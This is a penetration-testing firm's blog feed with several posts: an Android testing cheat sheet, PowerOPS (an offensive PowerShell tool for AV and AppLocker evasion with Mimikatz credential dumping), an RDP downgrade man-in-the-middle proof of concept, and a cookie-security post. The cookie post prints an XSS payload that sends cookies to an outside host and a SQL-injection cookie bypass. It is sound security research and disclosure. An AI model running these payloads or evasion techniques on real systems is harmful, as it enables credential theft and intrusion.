Portcullis Labs https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Hacking the Belkin E Series Omniview 2-Port KVM Switch https://labs.portcullis.co.uk/whitepapers/hacking-the-belkin-e-series-omniview-2-port-kvm-switch/ https://labs.portcullis.co.uk/whitepapers/hacking-the-belkin-e-series-omniview-2-port-kvm-switch/#comments Wed, 05 Apr 2017 06:44:37 +0000 https://labs.portcullis.co.uk/?p=5726 Too frequently security professionals only consider software vulnerabilities when considering the risks of connecting devices to their networks and systems. When it comes to considering potential risks of connected devices and the Internet of Things, not only must security professionals consider potential vulnerabilities in the software and firmware of these systems, but also physical vulnerabilities […]

The post Hacking the Belkin E Series Omniview 2-Port KVM Switch appeared first on Portcullis Labs.

]]>
Too frequently security professionals only consider software vulnerabilities when considering the risks of connecting devices to their networks and systems. When it comes to considering potential risks of connected devices and the Internet of Things, not only must security professionals consider potential vulnerabilities in the software and firmware of these systems, but also physical vulnerabilities in hardware.  This document considers the potential risk posed by hardware modification of seemingly innocuous hardware devices attached to critical systems, by showing how a simple KVM switch can be modified for use as a key logger.

Talos BelkinWhitePaper Final
547.3 KiB
MD5 hash: 20411b5e5d2ff1c17d09b73ded5172c6
Details
HackingBelkinKVMSwitch
15.5 KiB
MD5 hash: f1bbdcd02742a66a6234f9f31b388227
Details

The post Hacking the Belkin E Series Omniview 2-Port KVM Switch appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/whitepapers/hacking-the-belkin-e-series-omniview-2-port-kvm-switch/feed/ 0
Android cheat sheet https://labs.portcullis.co.uk/blog/android-cheat-sheet/ https://labs.portcullis.co.uk/blog/android-cheat-sheet/#comments Fri, 07 Oct 2016 14:20:03 +0000 https://labs.portcullis.co.uk/?p=5533 At Portcullis, assessing Android applications is a frequent activity for us and we figured it would be helpful to assist others looking to get into the field of testing Android applications. To this end, we’ve compiled a cheat sheet below, it contains a number of commonly used ADB commands, as well as useful commands to […]

The post Android cheat sheet appeared first on Portcullis Labs.

]]>
At Portcullis, assessing Android applications is a frequent activity for us and we figured it would be helpful to assist others looking to get into the field of testing Android applications. To this end, we’ve compiled a cheat sheet below, it contains a number of commonly used ADB commands, as well as useful commands to assist in gathering information or performing less common tasks.

This particular cheat sheet has been written for use with Cheat so that it can be quickly looked up within a terminal.

# List installed packages
adb shell pm list packages | cut -d: -f2

# Get APK path to package
adb shell pm path com.xxxx.android

# Decompile APK package
apktool d <appname>

# Recompile APK package
apktool b <apkfolder> -o newapk.apk

# Decompile APK code (dex2jar)
d2j-dex2jar.sh someApk.apk

# Recompile APK code (jar2dex)
d2j-jar2dex.sh --output=classes.dex abc.jar

# Sign APK (note: debug keystore passphrase: android)
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -storepass android -keystore ~/testing/android/keys/debug.keystore <apkname> androiddebugkey

# Sign APK with d2j-apk-sign.sh
d2j-apk-sign.sh <apkname>
# Install APK (use -r to reinstall)
adb install <apkname>

# Uninstall APK (often required)
adb uninstall <apkname>

# Install Burp CA on device
Grab Burp CA
Change extension from .der to .crt
push certificate to /storage/sdcard
Import from SDCARD via settings

# Logcat filter by package
adb logcat | grep `adb shell ps | grep co.uk.xxxx.xxxx | cut -c10-15`

# View x509 certificate information
openssl x509 -in <certfile> -text -noout

# View x509 certificate modulus (often checked by pinning)
openssl x509 -modulus -inform DER -in cacert.der

# Load keystore (BKS)
keytool -list -v -keystore <bksfile> -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath /usr/local/bin/bcprov-ext-jdk15on-1.46.jar -storetype BKS -storepass <password>

# Add CA to keystore (BKS)
keytool -importcert -v -trustcacerts -file "burp_ca.crt" -alias burp_ca -keystore <bksfile> -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "/usr/local/bin/bcprov-ext-jdk15on-1.46.jar" -storetype BKS -storepass <password>

# Dump to logcat Smali (with tag DBG)
const-string v1, "DBG"
invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I

# Wait for debugger Smali
invoke-static {}, Landroid/os/Debug;->waitForDebugger()V

# Return true/false Smali
const/4 v0, 0x0
return v0

# Remount Android filesystem as r/w
mount -o rw,remount,rw /system

# Adb pull folder
adb shell find "/data/data/com.xxxx.xxx" | tr -d '\015' | while read line; do adb pull $line; done;

# Adb pull file
adb pull /data/app/com.xxxx.xxxx/base.apk

# Launch android emulator with proxy support (Burp)
emulator -avd ChallengeApp -http-proxy http://127.0.0.1:8081 -scale 0.4

# Launch android emulator with ANDROID_ID not null (sometimes used for rooted detection)
emulator -avd jbx86 -prop emu.uuid=5ec33f90-a471-11e2-9e96-0800200c9a66

# Capture screenshot (regardless of whether activity ACLs prevent them) (requires root)
/system/bin/screencap -p /storage/sdcard/screenshot.png

# Show listening debug ports
adb jdwp

# Debug with jdb
adb forward tcp:<port> jdwp:<port>
jdb -attach localhost:<port>

# Debug with rlwrapped jdb (use this one!)
adb forward tcp:<port> jdwp:<port>
rlwrap-jdb jdb -attach localhost:<port>

# Launch android emu menu
android avd ChallengeApp -scale 0.4

# Open shell to emulator/device
adb shell

# List devices
adb devices

# Target specific device when using multiple devices
adb -s <devicename> <command>

# Uninstall via intent (within emu)
adb shell am start -a android.intent.action.DELETE -d package:<your app package>

# Launch logcat GUI/sysmon
cd /home/xxxx/tools/android-sdk-linux/tools; monitor

# Launch logcat terminal
adb logcat

# Generate debug keystore
keytool -genkeypair -keyalg RSA -alias androiddebugkey -keypass android -keystore debug.keystore -storepass android -dname "CN=Android Debug,O=Android,C=US" -validity 9999

# List keystore aliases
keytool -keystore debug.keystore -list -v

# SQLite3 database management:
sqlite3 <database>
.schema

# Get ANDROID_ID of device
adb shell content query --uri content://settings/secure/android_id --projection value

# Drozer commands
 # Install agent
 adb install drozer-agent-2.3.4.apk
 # Forward drozer port
 adb forward tcp:31415 tcp:31415
 # Connect
 drozer console --server 127.0.0.1:31415 connect
 # Get APK info
 run app.package.info -a <apkname>
 # Identify attack surface
 run app.package.attacksurface <apkname>
 # List activities
 run app.activity.info -a <apkname>

# Launch activity (in adb shell)(run as root if activity not exported)
adb shell am start -a android.intent.action.MAIN -n <activityname>

# Enable developer mode
Settings > About > Tap build number 7 times

# Query content provider
adb shell content query --uri content://url/username

# Bypass operation not permitted error when moving su binaries (Kingroot specific)
chattr -a su

# Boot into fastboot mode
adb reboot bootloader

# Run adb as root (not supported in production build)
adb root

# Run adb as root (alt)
adb kill-server; sudo $(whereis adb) start-server

# Compile and execute Java
public class HelloWorld {
 public static void main(String[] args) {
 System.out.println("Hello, World");
 }
}
javac HelloWorld.java
java HelloWorld

# Use Android Studio for smali source-level debugging
 Prerequisite: Install Android Studio.
 Prerequisite: Install 'smalidea' plugin from https://github.com/JesusFreke/smali/wiki/smalidea
 Prerequisite: Install APK as 'debuggable'=true.  You may have to patch the AndroidManifest in the APK for this.
 Step 1: Import the APK smali into Android Studio:
 Use Baksmali to dump APK smali into a source directory:
   <em>baksmali foobar.apk -o ~/tests/12345678ABC/project/src</em>
 Run Android Studio, select "Import Project" and select project directory (e.g. ~/tests/12345678ABC/project)
 For the import, choose "Create project from existing sources"
 Once created/imported in Android Studio, find the above 'src' directory in the 'Project' sub-view of the 'Project' pane.
 Right-click on the 'src' directory and select "Mark Directory As -> Sources Root"
 Navigate around the source, and set breakpoints where necessary.
 Step 2: Debug the APK
 Set the app to wait for the debugger when it runs:
   <em>adb shell am set-debug-app -w com.example.packagename</em>
 Launch the APK on the device (you should see 'waiting for debugger' pop-up)
 Run Android Monitor (monitor), click on the debuggable app in the 'Devices' pane, and note the local port number
   (local port number is usually 8700, shown in the last column such as '86XX / 8700')
   Leave monitor running, as it maintains the necessary port forwarding
 Create a 'Remote' debug configuration in Android Studio and set the localhost port to '8700' (or whatever found previously)
 Start the debug session in Android Studio with the newly created 'Remote' configuration.
 The 'Waiting For Debugger' pop-up should disappear on the device, and the debugger should hit any breakpoints set.
 Note - memory and registers (v0 etc) can be examined/modified in the 'Watches' window in Android Studio.

# Manage SDK/API settings
android

Notes:
 Applications storage path: /data/app/
 Data storage path: /data/data/<apkname> and /sdcard/Android/data/<apkname>
 SDCard: /storage/sdcard
 Pentesting Android 101: http://www.yap0wnb.com/2014_02_01_archive.html
 Android secure coding guidelines: https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=111509535

The post Android cheat sheet appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/android-cheat-sheet/feed/ 0
PowerOPS: PowerShell for Offensive Operations https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/#comments Fri, 03 Jun 2016 12:17:41 +0000 https://labs.portcullis.co.uk/?p=5467 At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network. Sometimes we find harsh group policy restrictions in place […]

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network.

Sometimes we find harsh group policy restrictions in place that block access to the Windows Command Prompt, PowerShell, among others. These, however, are not always properly implemented, i.e. they do not block access to all executables (and allow only certain programs to run).

After getting command execution, we want to attack other systems on the network. However it isn’t always easy to get a flexible toolbox in the system that allow us to gather information and launch further attacks. PowerShell is our preferred post-exploitation language and powershell.exe access is usually blocked (as .ps1 scripts). However since the block is often incorrectly implemented, i.e. the DLLs used by PowerShell aren’t usually blocked, this can open some doors. On top of that some AVs started implementing some basic signatures that will pick some well known PowerShell scripts. The bypass is trivial but we want to be as stealthy as possible and it still delay us a bit.

How can we bypass some of these “security mitigations” and speed up our tests? PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell runspace environment (.NET). Besides this, it includes multiple offensive PowerShell modules to make the process of post-exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade anti-virus and other mitigations.

To do this, it:

  • Doesn’t rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker
  • Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings and never touch disk, evading most antivirus engines

What’s inside the runspace?

PowerShellMafia/Powersploit

  • Get-Keystrokes
  • Invoke-DllInjection
  • Invoke-Mimikatz
  • Invoke-NinjaCopy
  • Invoke-Shellcode
  • Invoke-ReflectivePEInjection
  • Invoke-TokenManipulation
  • Invoke-WMICommand
  • PowerUp
  • PowerView

Nishang

  • Get-Information
  • Get-PassHashes
  • Port-Scan

Auto-GPPPassword

PowerCat

Get-ProductKey

Empire

  • Invoke-Psexec
  • Invoke-SSHCommand

Additionally you can run any valid PowerShell command.

Where to get it?

The source code is available at GitHub.

How to compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To compile it as an x86 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To compile it as an x64 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type show to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

All your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help you to understand how the modules can be used.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS

http://www.exploit-monday.com

PS >

You can play around with the output…

PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...



PS > get-productkey | format-list


OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c
5

Browse the file system…

PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd

Path
----
C:\

PS >

And so on…

PowerShell v5 is coming with some new security features that will certainly affect some of the payloads contained in PowerOPS, so further development is expected as well as addition of new attack modules.

AppLocker bypass

PowerOPS includes the InstallUtil AppLocker bypass technique from Casey Smith. To make use of it run as shown below:

C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

Credits

PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/feed/ 0
Downgrading RDP connections and how to avoid it https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/ https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/#comments Fri, 22 Apr 2016 15:18:17 +0000 https://labs.portcullis.co.uk/?p=1488 This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely. We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here. […]

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely.

We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here.  We suspect that it’s a known limitation of the protocol.  But it’s one that we though would be interesting to post about.

In this post we provide a demonstration of such a downgrade attack using the aptly named PoC tool rdp-downgrade.py.

RDP Security Layer

Before discussing the downgrade attack, we should outline what we’ll be downgrading from and to.

The following Security Layers are available in the RDP protocol. Support for each can be configured on the Terminal Server:

  • Classic RDP Protocol - this is known as “RDP Security Layer” in the tscc.msc configuration tool and PROTOCOL_RDP in the protocol specification (see page 40 of PDF)
  • SSL - this is labelled “SSL” or “SSL (TLS 1.0)” in the GUI and called PROTOCOL_SSL in the protocol specification
  • CredSSP - this is what you get when you check the ”Network Layer Authentication” box. It also uses uses SSL. It is called PROTOCOL_HYBRID in protocol specification

The first option is the insecure one. If this protocol were to be negotiated, the connection would be vulnerable to a well known “Man-In-The-Middle” attack.  Essentially, someone carrying out this attack would be able to see all your key strokes and any other data passed between client and server. This will therefore be the protocol we’ll be downgrading to.

The last two options are both SSL-wrapped and are more secure.  It will be these protocols that we’ll be downgrading from.

How to tell which security layer you connected with

The various warnings displayed by the Terminal Services client, mstsc.exe can be used as a crude way to identify which protocol is being used.

Classic RDP

Note that the warning message about not being able to authenticate the server tallies with the MiTM attack described above.

classic-rdp
image-1489

Warning For Classic RDP Connections

SSL

Unless you’ve configured your host to trust the SSL certificate of the RDP server, you’ll see a certificate warning like this one:

ssl-warning
image-1490

Warning for (Non-CredSSP) SSL Connections

CredSSP (NLA + SSL)

You get prompted for your username and password by a pop-up window – whereas Classic RDP and SSL both use a full Windows Desktop for password entry.

gaejegba
image-1491

Dialogue Box For NLA Connections

Vulnerable configuration

Terminal Servers set to negotiate their Security Layer are potentially vulnerable to a downgrade attack. Here we view the settings on a Windows 2003 server, but this also holds for newer versions of Windows:

2003-rdp-setting-vulnerable
image-1492

The downgrade attack

We will connect to a Windows 2003 RDP server configured to “Negotiate” its Security Layer.  We’ll connect from a modern windows system that supports Classic RDP, SSL and NLA. This server only supports Classic RDP and SSL. As we’d hope, the two will normally negotiate the most secure option supported by both: SSL.

During this attack we will modify network traffic to make the server believe the client only supports Classic RDP. We could intercept traffic using ARP-poisoning or DNS spoofing or some other method.

After connecting to TCP port 3389, the client (mstsc) sends data similar to the following (shown in hex):

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00

The 03 is the protocols supported by the client. Several values are possible in this position:

  • 00 – Only Classic RDP is supported
  • 01 – SSL is supported in addition to Classic RDP.
  • 03 – CredSSP is supported in addition to the other two protocols.

This is described on page 37 of the protocol specification.

So our proof-of-concept simply replaces the 03 with 00 to cause the client and server to negotiate Classic RDP instead of SSL.

We set our tool listening on 192.168.190.170 on TCP port 3389. We instruct it to forward traffic to 192.168.2.96.

$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389

Rather than actually doing ARP-spoofing, I just connect directly to the “Man-In-The-Middle” in this demo:

rdp-attack-prior-to-logon
image-1493

Attacker IP Address Is Entered

Back in our PoC tool, we then see an incoming connection from the RDP client (192.168.190.1) and the proxy making an outgoing connection to the target server:

[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected

Next we see 19 bytes from the client – note the 03 near the end of the data from the client. This is recognised by our PoC tool and it prints a message to inform us the 03 has been changed to 00:

[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection

Then we see traffic flow freely without further modification:

[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...

mstsc shows us the warning message corresponding to a Classic RDP connection, proving that the downgrade has been successful – remember that we would normally expect a certificate warning for the SSL-wrapped RDP connection.

classic-rdp
image-1489

Warning Message For Classic RDP Connection

Conclusion

Configuring the Terminal Server to use SSL for it security layer instead of “Negotiate” prevents such a downgrade attack.

Vendor contact

We were not sure if Microsoft would consider this worthy of a security advisory. We didn’t think so, but sent them a preview of this post before publishing and asked.

Microsoft who responded swiftly to confirm that “After researching the issue, we consider this behavior to be By Design”. They thanked us for our commitment to co-ordinated disclosure and gave their blessing to proceed with publication.

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/feed/ 0
Keep your cookies safe (part 1) https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/ https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/#comments Fri, 22 Apr 2016 15:03:32 +0000 https://labs.portcullis.co.uk/?p=3605 What are cookies and why are they important? A cookie is a small piece of data sent from a website and stored in a user’s web browser and is subsequently includes with all authenticated requests that belong to that session. Some cookies contain the user session data in a website, which is vital. Others cookies […]

The post Keep your cookies safe (part 1) appeared first on Portcullis Labs.

]]>
What are cookies and why are they important?

A cookie is a small piece of data sent from a website and stored in a user’s web browser and is subsequently includes with all authenticated requests that belong to that session. Some cookies contain the user session data in a website, which is vital. Others cookies are used for tracking long-term records of an individuals browsing history and preferences such as their preferred language. Sometimes they are also used for tracking and monitoring a user’s activities across different websites.

Due to the fact that HTTP is a stateless protocol, the website needs a way to authenticate the user in each request. Every time the user visits a new page within a website, the browser sends the users cookie back to the server, allowing the server to serve the correct data to that individual user, which is tracked using a session ID. Cookies therefore play an integral part in ensuring persistence of data used across multiple HTTP requests throughout the time a user visits a website.

What does a cookie look like?

Set-Cookie: __cfduid=d8a3ae94f81234321; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.domain.com; HttpOnly

The cookie below is an example of a common cookie generated for WordPress. Here we break down each part of the cookie and explain what it is used for:

  • Set-Cookie – the web server asks the browser to save the cookie with this command
  • __cfduid=d8a3ae94f81234321;: This is the cookie itself. At the left of the equals symbol is the name of the cookie and to the right is its value
  • expires=Mon, 23-Dec-2019 23:50:00 GMT; – this is the date and time when the cookie will expire
  • path=/; domain=.domain.com; – the cookie domain and path define the scope of the cookie. They tell the browser that cookies should only be sent back to the server for the given domain and path
  • HttpOnly – this attribute (without a value associated) tells the browser that JavaScript cannot be used to access the cookie, which must only be accessed through HTTP or HTTPS. Sometimes you will also see the attribute “Secure”, which prevents the cookie being sent over the unencrypted HTTP protocol (i.e. the cookie will only be transmitted over HTTPS)

What is the impact of having your cookies compromised?

A traditional and important role of a cookie is to store a users session ID, which is used to identify a user. If this type of cookie is stolen by a malicious user, they would be able to gain access to website as the user for which the cookie belonged to (i.e. the malicoius user would have access to your account within the website).

In the case of the tracking cookie, the malicious user would have access to your browsing history for the website.

Another problem arises when sensitive data is stored in cookies, for example a username, and this is also a vector for server side exploitation if its contents are not properly validated, which can potentially lead to serious vulnerabilties such as SQL Injection or remote code execution.

What are the main cookie threats?

cookie monster image

Cookie Monster.

There are different attacking vectors in which obtaining and modifying cookies can occur, leading to session hijacking of an authenticated user session, or even SQL injection attacks against the server. These threats may take place when an attacker takes control of the web browser using Cross-site Scripting, or Spyware, in order to obtain a users SessionID cookie that can then be used by an attacker to impersonate the legitimate user, as shown in the following example:

Obtaining access to the cookie can be as easy as using the following JavaScript line:

document.cookie

Imagine that the website has a search form that is vulnerable to Cross-site Scripting (Reflective Cross-site Scripting in this case).


http://myweb.com/form.php?search=XSS_PAYLOAD_HERE

An attacker could use the following payload to send the cookie to an external website:

&lt;script&gt;location.href='http://external_website.com/cookiemonster.php?c00kie='+escape(document.cookie);&lt;/script&gt;

The final step would be to send the vulnerable link to an admin and wait for them to click on it. If the attacker uses an URL shortener, this allows for further obfuscation of the malicous URL, as the admin will be unable to see the content of the link they have been sent.

An attacker able to read files from a given user may also attempt to retrieve the cookies stored in files from a system. Furthermore some browsers store persistent cookies in a binary file that is easily readable with existing public tools.

Security weaknesses may also reside server side when cookies are modified, if input validation routines are not adequately implemented. The example below shows how to bypass the authentication process:

//In /core/user.php: (cs cart vulnerability)

if (fn_get_cookie(AREA_NAME . '_user_id')) {
 $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users]
 WHERE user_id='".fn_get_cookies(AREA_NAME . '_user_id')."' AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
 fn_define('LOGGED_VIA_COOKIE', true);

}

//Cookie: cs_cookies[customer_user_id]=1'/*;

For their role, cookies are really important and may be used in different attacks.

Now that you are more aware of the dangers, it would be wise to ensure steps are taken to deploy website cookies safely and securely. Look out for the second part of this post!

The post Keep your cookies safe (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/keep-your-cookies-safe-part-1/feed/ 0
Sandbox detection: Pafish overview https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/ https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/#comments Mon, 14 Mar 2016 20:15:03 +0000 https://labs.portcullis.co.uk/?p=5415 Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when […]

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
